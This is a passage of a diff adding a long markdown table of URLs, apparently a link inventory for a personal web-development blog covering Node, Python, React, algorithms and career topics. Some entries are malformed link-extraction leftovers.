+| <https://bgoonz-blog.netlify.app/docs/overflow/node-js-language>                                    |
+| <https://bgoonz-blog.netlify.app/docs/overflow/node-package-manager>                                |
+| <https://bgoonz-blog.netlify.app/docs/overflow/node-repl>                                           |
+| <https://bgoonz-blog.netlify.app/docs/overflow/node-run-cli>                                        |
+| <https://bgoonz-blog.netlify.app/docs/overflow/nodejs>                                              |
+| <https://bgoonz-blog.netlify.app/docs/overflow/nodevsbrowser>                                       |
+| <https://bgoonz-blog.netlify.app/docs/overflow/understanding-firebase>                              |
+| <https://bgoonz-blog.netlify.app/docs/overflow/v8>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/privacy-policy>                                               |
+| <https://bgoonz-blog.netlify.app/docs/projects>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/projects/archive>                                             |
+| <https://bgoonz-blog.netlify.app/docs/projects/archive/embeded-websites>                            |
+| <https://bgoonz-blog.netlify.app/docs/projects/embeded-websites>                                    |
+| <https://bgoonz-blog.netlify.app/docs/projects/list-of-projects>                                    |
+| <https://bgoonz-blog.netlify.app/docs/projects/main-projects>                                       |
+| <https://bgoonz-blog.netlify.app/docs/projects/mini-projects>                                       |
+| <https://bgoonz-blog.netlify.app/docs/projects/mini-projects2>                                      |
+| <https://bgoonz-blog.netlify.app/docs/projects/my-websites>                                         |
+| <https://bgoonz-blog.netlify.app/docs/projects/recent>                                              |
+| <https://bgoonz-blog.netlify.app/docs/python>                                                       |
+| <https://bgoonz-blog.netlify.app/docs/python/at-length>                                             |
+| <https://bgoonz-blog.netlify.app/docs/python/cheat-sheet>                                           |
+| <https://bgoonz-blog.netlify.app/docs/python/comprehensive-guide>                                   |
+| <https://bgoonz-blog.netlify.app/docs/python/examples>                                              |
+| <https://bgoonz-blog.netlify.app/docs/python/flow-control>                                          |
+| <https://bgoonz-blog.netlify.app/docs/python/functions>                                             |
+| <https://bgoonz-blog.netlify.app/docs/python/google-sheets-api>                                     |
+| <https://bgoonz-blog.netlify.app/docs/python/install-python-ubuntu>                                 |
+| <https://bgoonz-blog.netlify.app/docs/python/intro-for-js-devs>                                     |
+| <https://bgoonz-blog.netlify.app/docs/python/python-ds>                                             |
+| <https://bgoonz-blog.netlify.app/docs/python/python-quiz>                                           |
+| <https://bgoonz-blog.netlify.app/docs/python/snippets>                                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/all-emojis>                                         |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/create-react-app>                                   |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/emmet>                                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/fetch>                                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/git-bash>                                           |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/git-tricks>                                         |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/google-firebase>                                    |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/heroku-error-codes>                                 |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/installation>                                       |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/markdown-dropdowns>                                 |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/minifiction>                                        |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/new-repo-instructions>                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/psql-setup>                                         |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/pull-request-rubric>                                |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/quick-links>                                        |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/toprepos>                                           |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/understanding-path>                                 |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/vscode-themes>                                      |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference>                                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/all-emojis>                                   |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/create-react-app>                             |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/emmet>                                        |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/git-bash>                                     |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/git-tricks>                                   |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/google-firebase>                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/heroku-error-codes>                           |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/installation>                                 |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/markdown-dropdowns>                           |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/minifiction>                                  |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/new-repo-instructions>                        |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/psql-setup>                                   |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/pull-request-rubric>                          |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/quick-links>                                  |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/toprepos>                                     |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/understanding-path>                           |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/vscode-themes>                                |
+| <https://bgoonz-blog.netlify.app/docs/react>                                                        |
+| <https://bgoonz-blog.netlify.app/docs/react/accessibility>                                          |
+| <https://bgoonz-blog.netlify.app/docs/react/ajax-n-apis>                                            |
+| <https://bgoonz-blog.netlify.app/docs/react/cheatsheet>                                             |
+| <https://bgoonz-blog.netlify.app/docs/react/complete-react>                                         |
+| <https://bgoonz-blog.netlify.app/docs/react/createreactapp>                                         |
+| <https://bgoonz-blog.netlify.app/docs/react/demo>                                                   |
+| <https://bgoonz-blog.netlify.app/docs/react/dont-use-index-as-keys>                                 |
+| <https://bgoonz-blog.netlify.app/docs/react/jsx>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/react/quiz>                                                   |
+| <https://bgoonz-blog.netlify.app/docs/react/react-docs>                                             |
+| <https://bgoonz-blog.netlify.app/docs/react/react-in-depth>                                         |
+| <https://bgoonz-blog.netlify.app/docs/react/react-patterns-by-usecase>                              |
+| <https://bgoonz-blog.netlify.app/docs/react/react-w-api>                                            |
+| <https://bgoonz-blog.netlify.app/docs/react/react2>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/react/render-elements>                                        |
+| <https://bgoonz-blog.netlify.app/docs/reference>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/reference/art-of-command-line>                                |
+| <https://bgoonz-blog.netlify.app/docs/reference/awesome-lists>                                      |
+| <https://bgoonz-blog.netlify.app/docs/reference/awesome-nodejs>                                     |
+| <https://bgoonz-blog.netlify.app/docs/reference/awesome-static>                                     |
+| <https://bgoonz-blog.netlify.app/docs/reference/bash-commands>                                      |
+| <https://bgoonz-blog.netlify.app/docs/reference/bookmarks>                                          |
+| <https://bgoonz-blog.netlify.app/docs/reference/embed-the-web>                                      |
+| <https://bgoonz-blog.netlify.app/docs/reference/github-resources>                                   |
+| <https://bgoonz-blog.netlify.app/docs/reference/github-search>                                      |
+| <https://bgoonz-blog.netlify.app/docs/reference/google-cloud>                                       |
+| <https://bgoonz-blog.netlify.app/docs/reference/how-2-reinstall-npm>                                |
+| <https://bgoonz-blog.netlify.app/docs/reference/how-to-kill-a-process>                              |
+| <https://bgoonz-blog.netlify.app/docs/reference/installing-node>                                    |
+| <https://bgoonz-blog.netlify.app/docs/reference/intro-to-nodejs>                                    |
+| <https://bgoonz-blog.netlify.app/docs/reference/markdown-styleguide>                                |
+| <https://bgoonz-blog.netlify.app/docs/reference/notes-template>                                     |
+| <https://bgoonz-blog.netlify.app/docs/reference/psql>                                               |
+| <https://bgoonz-blog.netlify.app/docs/reference/resources>                                          |
+| <https://bgoonz-blog.netlify.app/docs/reference/vscode>                                             |
+| <https://bgoonz-blog.netlify.app/docs/reference/web-api%27s>                                        |
+| <https://bgoonz-blog.netlify.app/docs/reference/web-api>'s                                          |
+| <https://bgoonz-blog.netlify.app/docs/search>                                                       |
+| <https://bgoonz-blog.netlify.app/docs/sitemap>                                                      |
+| <https://bgoonz-blog.netlify.app/docs/sitemap-april>                                                |
+| <https://bgoonz-blog.netlify.app/docs/tips>                                                         |
+| <https://bgoonz-blog.netlify.app/docs/tips/7-tips-to-become-a-better-web-developer>                 |
+| <https://bgoonz-blog.netlify.app/docs/tips/array-methods>                                           |
+| <https://bgoonz-blog.netlify.app/docs/tips/insert-into-array>                                       |
+| <https://bgoonz-blog.netlify.app/docs/tips/regex-tips>                                              |
+| <https://bgoonz-blog.netlify.app/docs/tips/sorting-strings>                                         |
+| <https://bgoonz-blog.netlify.app/docs/tips/storybook>                                               |
+| <https://bgoonz-blog.netlify.app/docs/tools>                                                        |
+| <https://bgoonz-blog.netlify.app/docs/tools/>                                                       |
+| <https://bgoonz-blog.netlify.app/docs/tools/all>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/tools/all-stripped>                                           |
+| <https://bgoonz-blog.netlify.app/docs/tools/archive>                                                |
+| <https://bgoonz-blog.netlify.app/docs/tools/data-structures>                                        |
+| <https://bgoonz-blog.netlify.app/docs/tools/dev-utilities>                                          |
+| <https://bgoonz-blog.netlify.app/docs/tools/embeds-archive>                                         |
+| <https://bgoonz-blog.netlify.app/docs/tools/markdown-html>                                          |
+| <https://bgoonz-blog.netlify.app/docs/tutorials>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/algolia-search>                                     |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/bash>                                               |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/bash-commands-my>                                   |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/effect-hook>                                        |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/enviorment-setup>                                   |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/get-file-extension>                                 |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/how-2-ubuntu>                                       |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/how-to-use-google-sheets-as-cms>                    |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/psql-setup>                                         |
+| <https://bgoonz-blog.netlify.app/docs/tutorials/react-class-2-func>                                 |
+| <https://bgoonz-blog.netlify.app/images/cool%20annimation.gif>"                                     |
+| <https://bgoonz-blog.netlify.app/images/cool%20annimation.gif>"<https://bgoonz-blog.netlify>        |
+| <https://bgoonz-blog.netlify.app/interview-questions-js>                                            |
+| <https://bgoonz-blog.netlify.app/privacy-policy>                                                    |
+| <https://bgoonz-blog.netlify.app/readme>                                                            |
+| <https://bgoonz-blog.netlify.app/readme/?!%5d%3e/link>                                              |
+| <https://bgoonz-blog.netlify.app/readme/?:%5b%5cda-fa-f%5d(?:_%5b%5cda-fa-f%5d)/link>               |
+| <https://bgoonz-blog.netlify.app/readme/?:%5b%5e%7b%7d;%22%27%5d%7c%27%20+%20t.source%20+/link>     |
+| <https://bgoonz-blog.netlify.app/readme/?:%5b0-7%5d(?:_%5b0-7%5d)/link>                             |
+| <https://bgoonz-blog.netlify.app/readme/?:%5b01%5d(?:_%5b01%5d)/link>                               |
+| <https://bgoonz-blog.netlify.app/readme/?:%5ba-z_%5d%7c%5cdx/link>                                  |
+| <https://bgoonz-blog.netlify.app/readme/?:(?!%5cs)%5b$%5cw%5cxa0-%5cuffff%5d/link>                  |
+| <https://bgoonz-blog.netlify.app/_static/app-assets/lambda-demo1.gif>"                              |
+| <https://bgoonz-blog.netlify.app/_static/app-assets/lambda-demo1.gif>"<https://bgoonz-blog.netlify> |
+| <https://bgoonz-blog.netlify.app/_static/app-assets/neural.png>"                                    |
+| <https://bgoonz-blog.netlify.app/_static/app-assets/neural.png>"<https://bgoonz-blog.netlify>       |
+| <https://bgoonz.blogspot.com/2021/01/easy-count-length-of-cycle-election.html/link>                 |
+| <https://bgoonz.blogspot.com/2021/01/easy-count-length-of-cycle-election.html/title>                |
+| <https://bgoonz.blogspot.com/2021/07/data-persistence-sql-express.html/link>                        |
+| <https://bgoonz.blogspot.com/2021/07/data-persistence-sql-express.html/title>                       |
+| <https://bgoonz.blogspot.com/2021/07/fetch-json-data-in-react-app.html/link>                        |
+| <https://bgoonz.blogspot.com/2021/07/fetch-json-data-in-react-app.html/title>                       |
+| <https://bgoonz.blogspot.com/2021/07/react-tricks.html/link>                                        |
+| <https://bgoonz.blogspot.com/2021/07/react-tricks.html/title>                                       |
+| <https://bgoonz.github.io/bgoonz_blog_2.0/>"                                                        |
+| <https://bgoonz.github.io/bgoonz_blog_2.0/>"github                                                  |
+| <https://bgoonz.github.io/projects/>"                                                               |
+| <https://bgoonz.github.io/projects/>"<https://bgoonz.github.io/pr>                                  |
+| <https://bgoonz.github.io/useful-snippets/>"                                                        |
+| <https://bgoonz.github.io/useful-snippets/>"<https://bgoonz.github.io/us>                           |
+| <https://bgoonz.github.io/useful-snippets/>"snippets                                                |
+| <https://bgoonz.github.io/vanilla-mini-projects/>"                                                  |
+| <https://bgoonz.github.io/vanilla-mini-projects/>"<https://bgoonz.github.io/va>                     |
+| <https://bgoonz.github.io/vanilla-utils/>"                                                          |
+| <https://bgoonz.github.io/vanilla-utils/>"<https://bgoonz.github.io/va>                             |
+| <https://bgoonz.hashnode.dev/data-structures>"                                                      |
+| <https://bgoonz.hashnode.dev/data-structures>"<https://bgoonz.hashnode.dev>                         |
+| <https://bgoonzblog20-redo.netlify.app/>"                                                           |
+| <https://bgoonzblog20-redo.netlify.app/>"<https://bgoonzblog20-redo.n>                              |
+| <https://bgoonzblog20master.gatsbyjs.io>                                                            |
+| <https://bgoonzblog20master.gtsb.io/blog/300-react-questions>                                       |
+| <https://bgoonzblog20master.gtsb.io/blog/adding-css-to-your-html>                                   |
+| <https://bgoonzblog20master.gtsb.io/blog/awesome-graphql>                                           |
+| <https://bgoonzblog20master.gtsb.io/blog/data-structures-algorithms-resources>                      |
+| <https://bgoonzblog20master.gtsb.io/blog/flow-control-in-python>                                    |
+| <https://bgoonzblog20master.gtsb.io/blog/functions-in-python>                                       |
+| <https://bgoonzblog20master.gtsb.io/blog/platform-docs>                                             |
+| <https://bgoonzblog20master.gtsb.io/blog/web-dev-trends>                                            |
+| <https://bgoonzblog20master.gtsb.io/blog/web-scraping>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs>                                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/about>                                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/about/eng-portfolio>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/about/job-search>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/about/readme>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/about/resume>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/about/youtube>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/archive/link>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/articles>                                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/basic-web-dev>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/buffers>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/common-modules>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/dev-dep>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/event-loop>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/how-search-engines-work>                          |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/how-the-web-works>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/http>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/install>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/intro>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/jamstack>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/nextjs>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/node-cli-args>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/node-env-variables>                               |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/node-js-language>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/node-package-manager>                             |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/node-repl>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/nodejs>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/npm>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/os-module>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/reading-files>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/semantic>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/semantic-html>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/the-uniform-resource-locator-(url>)               |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/understanding-firebase>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/url>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/v8>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/web-standards-checklist>                          |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/webdev-tools>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/articles/writing-files>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/audio>                                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/audio>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/audio-feature-extraction>                            |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/dfft>                                                |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/discrete-fft>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/dtw-python-explained>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/dynamic-time-warping>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/audio/web-audio-api>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/career>                                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/career/dev-interview>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/career/interview-dos-n-donts>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/career/job-boards>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/career/job-search>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/career/js-interview>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/career/list-of-projects>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/career/my-websites>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/career/web-interview>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/community>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/community/an-open-letter-2-future-developers>              |
+| <https://bgoonzblog20master.gtsb.io/docs/community/bookmarks>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/community/video-chat>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/content>                                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/content/algo>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/content/archive>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/content/data-structures-in-python>                         |
+| <https://bgoonzblog20master.gtsb.io/docs/content/gatsby-queries-mutations>                          |
+| <https://bgoonzblog20master.gtsb.io/docs/content/gists>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/content/history-api>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/content/main-projects>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/content/trouble-shooting>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/css>                                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/data-structures>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/data-structures/ds-algo-interview>                         |
+| <https://bgoonzblog20master.gtsb.io/docs/docs>                                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/appendix>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/bash>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/css>                                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/data-structures-docs>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/es-6-features>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/git-reference>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/git-repos>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/glossary>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/html-spec>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/html-tags>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/no-whiteboarding>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/node-docs-complete>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/node-docs-full>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/docs/sitemap>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo>                                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/big-o>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/data-structures-docs>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/ds-algo-interview>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/ds-by-example>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/ds-overview>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/free-code-camp>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/graph>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/heaps>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/ds-algo/tree>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/faq>                                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/faq/contact>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/faq/plug-ins>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/git/git-cheatsheet>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/git/github-tutorial>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/glossary/mathfloor>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/interact>                                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/interact/callstack-visual>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/interact/clock>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/interact/jupyter-notebooks>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/interact/other-sites>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/interact/video-chat>                                       |
+| <https://bgoonzblog20master.gtsb.io/docs/interview>                                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/interview/dos-and-donts>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/interview/job-search-nav>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/interview/review-concepts>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/interview/web-interview>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript>                                                |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/arrow-functions>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/asyncjs>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/await-keyword>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/bigo>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/clean-code>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/constructor-functions>                          |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/cs-basics-in-js>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/for-loops>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/js-objects>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/javascript/review>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips>                                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/abs>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/acos>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/acosh>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/addition>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/all>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/allsettled>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/any>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/array-methods>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/arrow_functions>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/async_function>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/bad_radix>                                         |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/bind>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/classes>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/concat>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/conditional_operator>                              |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/const>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/create>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/date>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/filter>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/import>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/insert-into-array>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/map>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/object>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/reduce>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/regexp>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/sort>                                              |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/sorting-strings>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/string>                                            |
+| <https://bgoonzblog20master.gtsb.io/docs/js-tips/var>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode>                                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/004._median_of_two_sorted_arrays>                 |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/009._palindrome_number>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/010._regular_expression_matching>                 |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/013._roman_to_integer>                            |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/019._remove_nth_node_from_end_of_list>            |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/029._divide_two_integers>                         |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/lettecombinationophonnumber>                      |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/nexpermutation>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/palindromnumber>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/removduplicatefrosortearray>                      |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/romatinteger>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/valiparentheses>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/leetcode/zigzaconversion>                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms-jamstack>                                      |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms-jamstack/get-started-with-gatsby>              |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms-jamstack/jamstack-templates>                   |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms-jamstack/serverlessjs>                         |
+| <https://bgoonzblog20master.gtsb.io/docs/netlify-cms/jamstack-templates>                            |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow>                                                  |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/html-spec>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/http>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/install>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/modules>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/node-cli-args>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/node-js-language>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/node-package-manager>                             |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/node-repl>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/node-run-cli>                                     |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/nodevsbrowser>                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/understanding-firebase>                           |
+| <https://bgoonzblog20master.gtsb.io/docs/overflow/v8>                                               |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/archive/embeded-websites>                         |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/embeded-websites>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/link>                                             |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/list-of-projects>                                 |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/mini-projects2>                                   |
+| <https://bgoonzblog20master.gtsb.io/docs/projects/recent>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/python>                                                    |
+| <https://bgoonzblog20master.gtsb.io/docs/python/at-length>                                          |
+| <https://bgoonzblog20master.gtsb.io/docs/python/cheat-sheet>                                        |
+| <https://bgoonzblog20master.gtsb.io/docs/python/comprehensive-guide>                                |
+| <https://bgoonzblog20master.gtsb.io/docs/python/examples>                                           |
+| <https://bgoonzblog20master.gtsb.io/docs/python/flow-control>                                       |
